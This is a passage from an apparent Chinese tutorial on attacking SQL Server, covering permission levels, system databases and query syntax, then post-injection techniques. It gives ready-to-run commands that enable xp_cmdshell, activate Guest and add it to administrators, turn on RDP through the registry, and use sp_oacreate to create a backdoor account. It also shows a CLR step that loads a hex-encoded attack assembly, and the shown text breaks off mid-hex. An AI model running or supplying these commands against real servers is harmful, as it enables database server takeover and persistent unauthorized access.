精华内容
下载资源
问答
  • 本文转自:sql server 数据库创建链接服务器访问另外一个sql server 数据库 继上篇在sql server中创建链接服务器访问oracle数据库:http://www.cnblogs.com/527289276qq/p/4770379.html 本文介绍在sql server中...

    本文转自:sql server 数据库创建链接服务器访问另外一个sql server 数据库

    继上篇在sql server中创建链接服务器访问oracle数据库:http://www.cnblogs.com/527289276qq/p/4770379.html

    本文介绍在sql server中创建链接服务器访问sql server数据库。

    方法:

    打开SSMS,新建程序,执行下面sql语句块:

    -- 注册远程数据库实例
    EXEC  sp_addlinkedserver
    @server='DBMES',   --链接服务器别名
    @srvproduct='',
    @provider='SQLOLEDB',
    @datasrc='192.168.5.139\实例名'  --要访问的的数据库所在的服务器的ip+数据库实例名
    GO
    
    -- 注册远程实例登陆访问帐户
    EXEC sp_addlinkedsrvlogin
    'DBMES',                  --链接服务器别名
    'false', 
     NULL,
    'sa',                     --要访问的数据库的用户              
    'xxxx'                    --要访问的数据库,用户的密码
    GO

    其中,”链接服务器别名”随便取, 只需修改”要访问的的数据库所在的服务器的ip+数据库实例名”,“用户”和“密“码 (我用的要访问的sql sever数据库sa账号和密码)。

    成功执行后,刷新SSMS左侧链接服务器,会出现新建的链接服务器,如下图:

    图1

    最后我们测试一下,查询被访问的数据库上的表,sql语句类似如下:

    SELECT * FROM [DBMES].[数据库名].[dbo].[表名]

    运行结果截图:

    图2

    链接服务器其它相关操作如下:

    存储过程名/视图名作用举例
    sp_addlinkedserver注册远程数据库实例exec sp_addlinkedserver ‘InstanceName’
    sp_dropserver删除远程数据库实例exec sp_dropserver ‘InstanceName’
    sp_addlinkedsrvlogin注册远程实例登陆访问帐户exec sp_addlinkedsrvlogin ‘InstanceName’, null
    sp_droplinkedsrvlogin删除远程实例登陆访问帐户exec sp_droplinkedsrvlogin ‘InstanceName’,’UserName’
    sp_helpserver当前实例已注册的可访问的实例(即查看使用sp_addlinkedserver已注册过的实例)sp_helpserver
    sys.sysservers功能同sp_helpserverselect * from sys.sysservers
    sys.linked_logins查看已注册的登陆访问帐户(即查看使用sp_addlinkedsrvlogin已注册过的帐户)select * from sys.linked_logins
    sys.remote_logins查看已注册的远端访问帐户select * from sys.remote_logins

    参考:sqlserver 多库查询 sp_addlinkedserver使用方法(添加链接服务器)

    展开全文
  • 两个sql server 数据库间同步

    千次阅读 2008-12-16 10:07:00
    SQLServer2000同步复制技术实现步骤 作者:gaojier 日期:2007-06-25 字体大小: 小 中 大 一、 预备工作 1.发布服务器,订阅服务器都创建一同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户 --...
     SQLServer2000同步复制技术实现步骤 
    
    作者:gaojier   日期:2007-06-25
    字体大小:   小   中   大  
    一、   预备工作
    1.发布服务器,订阅服务器都创建一个同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户
    --管理工具
    --计算机管理
    --用户和组
    --右键用户
    --新建用户
    --建立一个隶属于administrator组的登陆windows的用户(SynUser)
    2.在发布服务器上,新建一个共享目录,做为发布的快照文件的存放目录,操作:
    我的电脑--D:/   新建一个目录,名为:   PUB
    --右键这个新建的目录
    --属性--共享
    --选择"共享该文件夹"
    --通过"权限"按纽来设置具体的用户权限,保证第一步中创建的用户(SynUser)   具有对该文件夹的所有权限
    --确定
    3.设置SQL代理(SQLSERVERAGENT)服务的启动用户(发布/订阅服务器均做此设置)
    开始--程序--管理工具--服务
    --右键SQLSERVERAGENT
    --属性--登陆--选择"此账户"
    --输入或者选择第一步中创建的windows登录用户名(SynUser)
    --"密码"中输入该用户的密码
    4.设置SQL   Server身份验证模式,解决连接时的权限问题(发布/订阅服务器均做此设置)
    企业管理器
    --右键SQL实例--属性
    --安全性--身份验证
    --选择"SQL   Server   和   Windows"
    --确定
    5.在发布服务器和订阅服务器上互相注册
    企业管理器
    --右键SQL   Server组
    --新建SQL   Server注册...
    --下一步--可用的服务器中,输入你要注册的远程服务器名   --添加
    --下一步--连接使用,选择第二个"SQL   Server身份验证"
    --下一步--输入用户名和密码(SynUser)
    --下一步--选择SQL   Server组,也可以创建一个新组
    --下一步--完成
    6.对于只能用IP,不能用计算机名的,为其注册服务器别名(此步在实施中没用到)
        (在连接端配置,比如,在订阅服务器上配置的话,服务器名称中输入的是发布服务器的IP)
    开始--程序--Microsoft   SQL   Server--客户端网络实用工具
    --别名--添加
    --网络库选择"tcp/ip"--服务器别名输入SQL服务器名
    --连接参数--服务器名称中输入SQL服务器ip地址
    --如果你修改了SQL的端口,取消选择"动态决定端口",并输入对应的端口号
    二、   正式配置
    1、配置发布服务器
    打开企业管理器,在发布服务器(B、C、D)上执行以下步骤:
    (1)   从[工具]下拉菜单的[复制]子菜单中选择[配置发布、订阅服务器和分发]出现配置发布和分发向导  
    (2)   [下一步]   选择分发服务器   可以选择把发布服务器自己作为分发服务器或者其他sql的服务器(选择自己)
    (3)   [下一步]   设置快照文件夹  
    采用默认//servername/Pub
    (4)   [下一步]   自定义配置  
    可以选择:是,让我设置分发数据库属性启用发布服务器或设置发布设置
    否,使用下列默认设置(推荐)
    (5)   [下一步]   设置分发数据库名称和位置   采用默认值
    (6)   [下一步]   启用发布服务器   选择作为发布的服务器
    (7)   [下一步]   选择需要发布的数据库和发布类型
    (8)   [下一步]   选择注册订阅服务器
    (9)   [下一步]   完成配置
    2、创建出版物
    发布服务器B、C、D上
    (1)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令
    (2)选择要创建出版物的数据库,然后单击[创建发布]
    (3)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)
    (4)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型,
    SQLSERVER允许在不同的数据库如   orACLE或ACCESS之间进行数据复制。
    但是在这里我们选择运行"SQL   SERVER   2000"的数据库服务器
    (5)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表
    注意:   如果前面选择了事务发布   则再这一步中只能选择带有主键的表
    (6)选择发布名称和描述
    (7)自定义发布属性   向导提供的选择:
    是   我将自定义数据筛选,启用匿名订阅和或其他自定义属性
    否   根据指定方式创建发布   (建议采用自定义的方式)
    (8)[下一步]   选择筛选发布的方式  
    (9)[下一步]   可以选择是否允许匿名订阅
    1)如果选择署名订阅,则需要在发布服务器上添加订阅服务器
    方法:   [工具]-> [复制]-> [配置发布、订阅服务器和分发的属性]-> [订阅服务器]   中添加
    否则在订阅服务器上请求订阅时会出现的提示:改发布不允许匿名订阅
    如果仍然需要匿名订阅则用以下解决办法  
    [企业管理器]-> [复制]-> [发布内容]-> [属性]-> [订阅选项]   选择允许匿名请求订阅
    2)如果选择匿名订阅,则配置订阅服务器时不会出现以上提示
    (10)[下一步]   设置快照   代理程序调度
    (11)[下一步]   完成配置
    当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库。


    ----------------------------


    --参考:  
    /*  
    作者:邹建  
    */  

    /*--同步两个数据库的示例  

    有数据  
    srv1.库名..author有字段:id,name,phone,  
    srv2.库名..author有字段:id,name,telphone,adress  

    要求:  
    srv1.库名..author增加记录则srv1.库名..author记录增加  
    srv1.库名..author的phone字段更新,则srv1.库名..author对应字段telphone更新  
    --*/  

    --大致的处理步骤  
    --1.在       srv1       上创建连接服务器,以便在       srv1       中操作       srv2,实现同步  
    exec       sp_addlinkedserver           'srv2','','SQLOLEDB','srv2的sql实例名或ip'  
    exec       sp_addlinkedsrvlogin       'srv2','false',null,'用户名','密码'  
    go  

    --2.在       srv1       和       srv2       这两台电脑中,启动       msdtc(分布式事务处理服务),并且设置为自动启动  
    我的电脑--控制面板--管理工具--服务--右键       Distributed       Transaction       Coordinator--属性--启动--并将启动类型设置为自动启动  
    go  


    --然后创建一个作业定时调用上面的同步处理存储过程就行了  

    企业管理器  
    --管理  
    --SQL       Server代理  
    --右键作业  
    --新建作业  
    --"常规"项中输入作业名称  
    --"步骤"项  
    --新建  
    --"步骤名"中输入步骤名  
    --"类型"中选择"Transact-SQL       脚本(TSQL)"  
    --"数据库"选择执行命令的数据库  
    --"命令"中输入要执行的语句:       exec       p_process      
    --确定  
    --"调度"项  
    --新建调度  
    --"名称"中输入调度名称  
    --"调度类型"中选择你的作业执行安排  
    --如果选择"反复出现"  
    --点"更改"来设置你的时间安排  


    然后将SQL       Agent服务启动,并设置为自动启动,否则你的作业不会被执行  

    设置方法:  
    我的电脑--控制面板--管理工具--服务--右键       SQLSERVERAGENT--属性--启动类型--选择"自动启动"--确定.  


    --3.实现同步处理的方法2,定时同步  

    --在srv1中创建如下的同步处理存储过程  
    create       proc       p_process      
    as  
    --更新修改过的数据  
    update       b       set       name=i.name,telphone=i.telphone  
    from       srv2.库名.dbo.author       b,author       i  
    where       b.id=i.id       and  
    (b.name   <>   i.name       or       b.telphone   <>   i.telphone)  

    --插入新增的数据  
    insert       srv2.库名.dbo.author(id,name,telphone)  
    select       id,name,telphone       from       author       i  
    where       not       exists(  
    select       *       from       srv2.库名.dbo.author       where       id=i.id)  

    --删除已经删除的数据(如果需要的话)  
    delete       b      
    from       srv2.库名.dbo.author       b  
    where       not       exists(  
    select       *       from       author       where       id=b.id)  
    go  
    =====================================================================================
    SQL   SERVER   2005   同步复制技术

    以下实现复制步骤(以快照复制为例)  

    运行平台SQL   SERVER   2005  

    一、准备工作:  

    1.建立一个   WINDOWS   用户,设置为管理员权限,并设置密码,作为发布快照文件的有效访问用户。  

    2.在SQL   SERVER下实现发布服务器和订阅服务器的通信正常(即可以互访)。打开1433端口,在防火墙中设特例  

    3.在发布服务器上建立一个共享目录,作为发布快照文件的存放目录。例如:在D盘根目录下建文件夹名为SqlCopy  

    4.设置SQL   代理(发布服务器和订阅服务器均设置)本篇文章发表于www.xker.com(小新技术网)  

    打开服务(控制面板---管理工具---服务)  

    ---右击SQLSERVER   AGENT---属性---登录---选择“此帐户“  

    ---输入或选择第一步中创建的WINDOWS   用户  

    ---“密码“中输入该用户密码  

    5.设置SQL   SERVER   身份验证,解决连接时的权限问题(发布、订阅服务器均设置)  

    步骤为:对象资源管理器----右击SQL实例-----属性----安全性----服务器身份验证------选“SQL   Server和WINDOWS“,然后点确定  

    6.开启SQL   Server   2005的网络协议TCP/IP和管道命名协议并重启网络服务。  

    7.在SQL   Server中创建步骤1中对应的系统用户登陆名,作为发布数据库的拥有者(设置为dbo_owner和public)。  

    8.以系统超级用户sa登陆SQL   Server建立数据库和表。  

    9.发布服务器和订阅服务器互相注册  

    步骤如下:视图----单击以注册服务器----右键数据库引擎----新建服务器注册-----填写要注册的远程服务器名称------身份验证选 “SQL   Server验证“-----用户名(sa)   密码------创建组(也可不建)-----完成。  

    10.对于只能用IP,不能用计算机名的,为其注册服务器别名  

    二、开始:  

    发布服务器配置(在发布服务器上配置发布和订阅)  

    1.   选择   复制   节点  

    2.   右键本地发布   ----下一步---------系统弹出对话框看提示----直到“指定快照文件夹“  

    ----在“快照文件夹“中输入准备工作中创建的目录(指向步骤3所建的共享文件夹)------选择发布数据库-------选择发布类型------ -选择订阅服务器类型-------选择要发布的对象------设置快照代理-------填写发布名称。本篇文章发表于www.xker.com(小 新技术网)  

    3.   右键本地订阅--------选择发布服务器-------选择订阅方式(如果是在服务器方订阅的话选择推送订阅反之  

    选择请求订阅)-------填加订阅服务器--------选择代理计划(一般选择连续运行)---------其余选择默认项。  

    至此,   SQL   SERVER   2005   同步复制就完成了。使用复制技术,用户可以将一份客户端的数据发布到多台服务器上,从而使不同的服务器用户都可以在权限的许可的范围内共享这份数据。复制 技术可以确保分布在不同地点的数据自动同步更新,从而保证数据的一致性,就无需编程实现客户端和服务器端数据同步了!大大提高了工作效率!
    ==================================================================================
    SQL   Server   2005高可用性之复制

    作者:IT168   高健     2007-05-15

    SQL   Server   2005相对于SQL   Server   2000来说,无论是性能还是功能都有一个相当大的提高,甚至可以用“革命”来形容这一次升级。SQL   Server   2005使   SQL   Server   跻身于企业级数据库行列。在数据高可用性方面,SQL   Server   2005为用户提供了数据镜像、复制、故障转移群集、日志传送功能。本文向读者简单介绍SQL   Server   2005的复制功能。  

            一、   “复制”简介  

          复制是将数据或数据库对象从一个数据库复制和分发到另外一个数据库,并进行数据同步,从而使源数据库和目标数据库保持一致。使用复制,可以在局域网和广域 网、拨号连接、无线连接和   Internet   上将数据分发到不同位置以及分发给远程或移动用户。  

          一组SQL   Server   2005复制有发布服务器、分发服务器、订阅服服务器(图1:复制服务器之间的关系图)组成,它们之间的关系类似于书报行业的报社或出版社、邮局或书店、读者之间的关系。  

          以报纸发行为例说明,发布服务器类似于报社,报社提供报刊的内容并印刷,是数据源;分发服务器相当于邮局,它将各报社的报刊送(分发)到订户手中;订阅服 务器相当于订户,从邮局那里收到报刊。在实际的复制中,发布服务器是一种数据库实例,它通过复制向其他位置提供数据,分发服务器也是一种数据库实例,它起 着存储区的作用,用于复制与一个或多个发布服务器相关联的特定数据。每个发布服务器都与分发服务器上的单个数据库(称作“分发数据库”)相关联。分发数据 库存储复制状态数据和有关发布的元数据,并且在某些情况下为从发布服务器向订阅服务器移动的数据起着排队的作用。在很多情况下,一个数据库服务器实例充当 发布服务器和分发服务器两个角色,这称为“本地分发服务器”。订阅服务器是接收复制数据的数据库实例。一个订阅服务器可以从多个发布服务器和发布接收数 据。  


    图1

            复制有三种类:事务复制、快照复制、合并复制。

    ?   事务复制:事务复制是将复制启用后的所有发布服务器上发布的内容在修改时传给订阅服务器,数据更改将按照其在发布服务器上发生的顺序和事务边界,应用于订阅服务器,在发布内部可以保证事务的一致性。
    ?   快照复制:快照复制将数据以特定时刻的瞬时状态分发,而不监视对数据的更新。发生同步时,将生成完整的快照并将其发送到订阅服务器。
    ?   合并复制:合并复制通常是从发布数据库对象和数据的快照开始,并且用触发器跟踪在发布服务器和订阅服务器上所做的后续数据更改和架构修改。订阅服务器在连接到网络时将与发布服务器进行同步,并交换自上次同步以来发布服务器和订阅服务器之间发生更改的所有行。


            二、复制实例  

            这里以配置一个事务复制来说明复制配置过程   。  

            试验在同一台机器的二个实例间进行,实例名分别是SERVER01、SERVER02   。将SERVER01配置发布服务器和分发服务器(也就是前面提到的“本地分发服务器”),SERVER02配置为订阅服务器。在本例中将 SERVER01中一个DBCoper库中person表作为发布的数据,在发布前请确保person表有主键、SQL   SERVER   代理自动启动、发布数据库是日志是完整模式。  

            第一步:完全备份SERVER01   DBCopy数据库,在SERVER02上恢复DBCopy数据库(复制前的同步,使用发布的源和目标数据一致)。  

                第二步:   在SERVER01上设置发布和分发。  

            A、   在SERVER01的复制节点--> 本地发布右键选择新建订阅(如图2)。  


    图2

            B、   在新建发布向导中首先要求选择分发服务器,本例选择本机作为分发服务器,选择默认值(如图3)。


    图3

            C、   向导第三步要求选择快照的路径,一般情况下选择默认路径。  

            D、   向导第四步选择发布的数据库(如图四),选择DBCopy。  


    图4

            E、   接着选择发布的类型,这里选择事务复制(如图5)。


    图5

            F、   选择发布的内容(PERSON),这里不仅可以发表,还可以发布其他的数据库对象,比如函数。在选择某一个表之后还可以选择发布某一列或几列。在这个步骤下一个界面中可以选择要发布的行。


    图6

            G、   设置发布的内容之后设置   运行SQL代理的账号。设置如下:


    图7

            H、   设置上一步之后,给复制起个名字PersonCopy。到此为止,发布和分发已配置成功(如图8)。  


    图8

            第三步:配置订阅  

            订阅有两种方种,一种是由发布服务器向订阅服务器“推”数据,由订阅服务器去请求订阅数据。本例在SERVER02上设置请求订阅。  

            A、   第一步在SERVER02复制节点右击订阅,新建订阅(图9)。  


    图9

            B、   选择发布服务器,在下拉列表框中选择查找SQL   SERVER   发布服务器,选择SERVER01,就可以看到刚才新建的发布PersonCopy(如图10)。


    图10

            C、   选择订阅方式(如图11),   这里选择请求订阅。


    图11

            D、   选择订阅的本地数据库(如图12)。


    图12

            E、   设置完本地数据库之后要求设置运行代理的安全性,设置成SQL   代理账号。完成以上设置后,订阅已设置完成。  

            在SERVER01表中插入一条新记录后,在SERVER02中去检查是否同步过来。一般来说,几乎SERVER01执行完了,SERVER02就可以看到更新后的数据。
    展开全文
  • SQL Server 数据库学习

    万次阅读 多人点赞 2018-08-31 20:47:02
    一、认识数据库 1、数据库的基本概念 2、数据库常用对象 3、数据库的组成 ...数据库主要由文件和文件组组成。数据库中所有的数据和对象都被存储在文件中。...(1)选择一个数据库——展开 表——...

    一、认识数据库

    1、数据库的基本概念

    2、数据库常用对象

    3、数据库的组成

    数据库主要由文件和文件组组成。数据库中所有的数据和对象都被存储在文件中。

    二、创建数据库

    1、创建数据库

    对象资源管理器—数据库——右击——新建数据库

    三、操作数据表与视图

    1、创建数据表

    空值:表示数据未知。非空值:数据列不允许空值。

    (1)选择一个数据库——展开 表——新建表

    填入属性

    (2)设置主键

    选择KH_ID右击,设置为主键。主键:建立一列或多列的组合以唯一标识表中的每一行,主键可以保证实体的完整性,一个表只能有一个主键。

    (3)保存新建的表,并给起一个名字。

    (4)修改数据表。选择要修改的数据表,右击——设计。

    (5)创建检查约束,检查约束可以把输入的数据限制在指定范围。

    设计——选择一列——右击 check约束

    (6)创建外键:外键是建立两个表数据之间连接的一列或多列。通过将保存表中主键值的一列或多列添加到另一个表中,可以创建两个表之间的连接。这个列为第二个表的外键。

    2、关系

    一对一

    一对多

    多对多

    3、视图

    将查询的结果以虚拟表的形式存储在数据表中,视图并不在数据库中以存储数据集的形式存在,视图的结构和内容建立在对表的查询基础之上的,视图的行列数据源于查询所应用的表。

    (1)创建视图

    选择指定的数据库——视图——新建视图——添加表——保存

    (2)查看视图的内容(记录)

    选择要查看的视图——编辑前200行

    (3)视图中删除数据记录

    设计——删除

    三、T-SQL

    3.1分类

    3.2语句分类

    3.3 常用的数据操作语句

    3.3.1 select 查询语句

    select 语句是一个查询表达式,包括select、from、where、group by 和 order by 子句。具有数据查询、统计、分组和排序的功能。

     

    select 和from为必选子句,其他为可选语句。

    1、where 用法

    (1)比较运算:

    (2)逻辑运算:

    (3)范围运算:

    (4)列表运算

     

     

    (5)字符匹配运算

    2、ORDER BY 子句

    对查询的结果升序或降序排列

    3、GROUP BY子句

    对查询结果按照一列信息归类

    4、SELECT操作多表数据

    多表查询把多个表的数据组合,再从中获取所需要的数据信息。

    (1)简单基本连接

    (2)内连接

    内联接使用比较运算符根据每个表共有的列的值匹配两个表中的行。

    如:

    (3)外连接

    外连不但返回符合连接和查询条件的数据行,还返回不符合条件的一些行。外连接分三类:左外连接(LEFT OUTER JOIN)、右外连接(RIGHT OUTER JOIN)和全外连接(FULL OUTER JOIN)。

    左外链接:

    右外连接:

    完全连接:返回两个表中所有匹配行和不匹配行

    3.3.2 insert 插入语句

     

     

     

    3.3.3   update语句修改指定的数据

    3.3.4 delete 语句删除指定数据

     

    3.4 视图操作

    (1)插入数据

    (2)修改数据

    (3)删除数据

    4、基本表和视图的区别:

    (1)数据库中的数据都是存储在表中的,而视图只是一个或多个表依照某个条件组合而成的结果集,一般来说你可以用update,insert,delete等sql语句修改表中的数据,而对视图只能进行select操作。但是也存在可更新的视图,对于这类视图的update,insert和delete等操作最终会作用于与其相关的表中数据。因此,表是数据库中数据存储的基础,而视图只是为了满足某种查询要求而建立的一个对象。

    (2)表是物理存在的,你可以理解成计算机中的文件! 视图是虚拟的内存表,你可以理解成Windows的快捷方式!

     

     

    展开全文
  • SQLServer数据库注入详解

    万次阅读 2019-03-20 09:46:15
    SQLServer数据库 修改默认1433端口 SQLServer数据库的管理 SQLServer数据库的查询语句 SA权限开启xp_cmdshell获取主机权限 SA权限使用sp_oacreate执行系统命令 DB_owner权限LOG备份Getshell DB_owner权限差异...

    目录

    SQLServer数据库

    修改默认1433端口

    SQLServer数据库的管理

    SQLServer数据库的查询语句

    SA权限开启xp_cmdshell获取主机权限

    SA权限使用sp_oacreate执行系统命令

    SA权限使用CLR执行系统命令

    DB_owner权限LOG备份Getshell

    DB_owner权限差异备份Getshell

    盲注SQLServer数据库

    延时注入 

    Union联合查询 

    堆叠注入

    SQLServer获取权限的奇淫技巧

    还原备份数据库


    文章首发于安全客:https://www.anquanke.com/post/id/200154

    SQLServer数据库

    SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR  DELAY  '0:0:2'

    SQLServer有三个权限级别:

    • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
    • db权限:文件管理,数据库操作等权限 users-administrators
    • public权限:数据库操作 guest-users

    判断当前用户权限

    判断是否是SA权限
    select is_srvrolemember('sysadmin')     
    判断是否是db_owner权限  
    select is_member('db_owner')
    判断是否是public权限
    select is_srvrolemember('public')

    SQLServer数据库有6个默认的库,分别是4个系统数据库:mastermodel msdb tempdb,和2个实例数据库:ReportServerReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。

    • master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
    • model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
    • msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
    • tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

    但是如果用navicat远程连接的话,只会显示2个实例数据库:ReportServerReportServerTempDB

    修改默认1433端口

    打开SQLServer配置管理器——>SQLServer网络配置——>MSSQLSERVER的协议——>TCP/IP,右键属性

    SQLServer数据库的管理

    服务器名称:主机,端口

    Windows身份验证管理

    SQLServer身份验证管理

    SQLServer数据库的查询语句

    select @@version;       #查询数据库的版本
    select @@servername;    #查询服务名
    select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
    select db_name();       #查询当前数据库名
    select db_name(1);      #查询第一个数据库名
    select db_name(2);      #查询第二个数据库名
    select user;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
    use tempdb              #切换到tempdb表  
    top n                   #查询前n条记录
    limit 2,3               #查询第2条开始的3条数据,也就是2,3,4
    select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
    select ascii('a')                  #查询给定字符串的ascii值
    select len('string')               #查询给定字符串的长度
    EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
    sp_spaceused '表名'                #查询指定表名的大小
    EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
    
    判断是否是SA权限
    select is_srvrolemember('sysadmin')     
    判断是否是db_owner权限  
    select is_member('db_owner')
    判断是否是public权限
    select is_srvrolemember('public')
    
    #数据库的连接
    server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
    mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
    
    count(name)是查询总数
    name是查询名字
    *是查询详细信息
    
    #查询数据库
    select count(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
    select name  from sysdatabases           #查询数据库的名字
    select * from sysdatabases               #查询所有数据库的信息
    
    #查询数据表
    select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
    select name from sysobjects where type='U'  #查询当前数据库中所有表的名字
    select * from sysobjects where type='U'    #查询当前数据库的所有表的详细信息
    
    select count(name) from test..sysobjects where xtype='U'  #查询指定test数据库中表的个数
    select name from test..sysobjects where xtype='U'         #查询指定test数据库中表的名字
    select * from test..sysobjects where xtype='U'            #查询指定test数据库中表的详细信息
    
    #查询列
    select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询当前数据库的指定users表的列的个数
    select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')         #查询当前数据库的指定users表的所有列的名字
    select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')      #查询当前数据库的指定users表的列的详细信息
    
    select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询指定test数据库的指定users表的列的个数
    select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的所有列的名字
    select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的列的详细信息
    
    #查询数据
    select count(*) from test..users          #查询test数据库user表的数据的条数
    select * from test..users                 #查询test数据库user表的所有数据
    

    查询当前数据库中所有表的大小

    declare  @table_spaceused table
    (name   nvarchar(100)
    ,rows   int
    ,reserved   nvarchar(100)
    ,data   nvarchar(100)
    ,index_size nvarchar(100)
    ,unused nvarchar(100)
    )
     
    insert into @table_spaceused
    (name,rows,reserved,data,index_size,unused )
    exec sp_MSforeachtable
    @command1='exec sp_spaceused ''?'''
     
    select * from @table_spaceused

    SA权限开启xp_cmdshell获取主机权限

    判断 xp_cmdshell 是否打开,1就是打开了,0就是关闭了

    select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  

    如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启

    execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
    execute('reconfigure')                             #保存设置
    execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
    execute('reconfigure')                             #保存设置
    execute('sp_configure')                            #查看配置
    execute('xp_cmdshell "whoami"')                    #执行系统命令
    
    或者
    exec sp_configure 'show advanced options',1;       
    reconfigure;                                       
    exec sp_configure 'xp_cmdshell',1;                 
    reconfigure;                                      
    exec sp_configure;                                 
    exec xp_cmdshell 'whoami';                         
    
    
    可以执行系统权限之后,前提是获取的主机权限是administrators组里的
    exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
    exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
    exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
    exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口
    

    SA权限使用sp_oacreate执行系统命令

    使用sp_oacreate提权前提条件:

    • SQLServer数据库服务未降权 (因为需要调用COM组件)

    我们可以借助SQLServer中的COM组件SP_OACREATE来执行系统命令,使用下面命令查看是否可使用 sp_oacreate 执行系统命令

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

    如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程  'sys.sp_OACreate'  的访问,可以使用以下命令打开。

    EXEC sp_configure 'show advanced options', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'Ole Automation Procedures', 1;  
    RECONFIGURE WITH OVERRIDE;  

    再次执行命令,发现不报错。此时可以执行系统命令了,但是使用 sp_oacreate 执行系统命令不回显

    于是我们可以使用以下命令创建用户hack。

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'

    SA权限使用CLR执行系统命令

    #启用MSSQL CLR功能
    exec sp_configure 'show advanced options', 1;
    RECONFIGURE;
    Exec sp_configure 'clr enabled', 1;
    RECONFIGURE;
    
    #为了导入了不安全的程序集,我们还需要将数据库标记为安全。
    ALTER DATABASE [master] SET TRUSTWORTHY ON;
    
    #导入程序集,单独执行
    CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a130512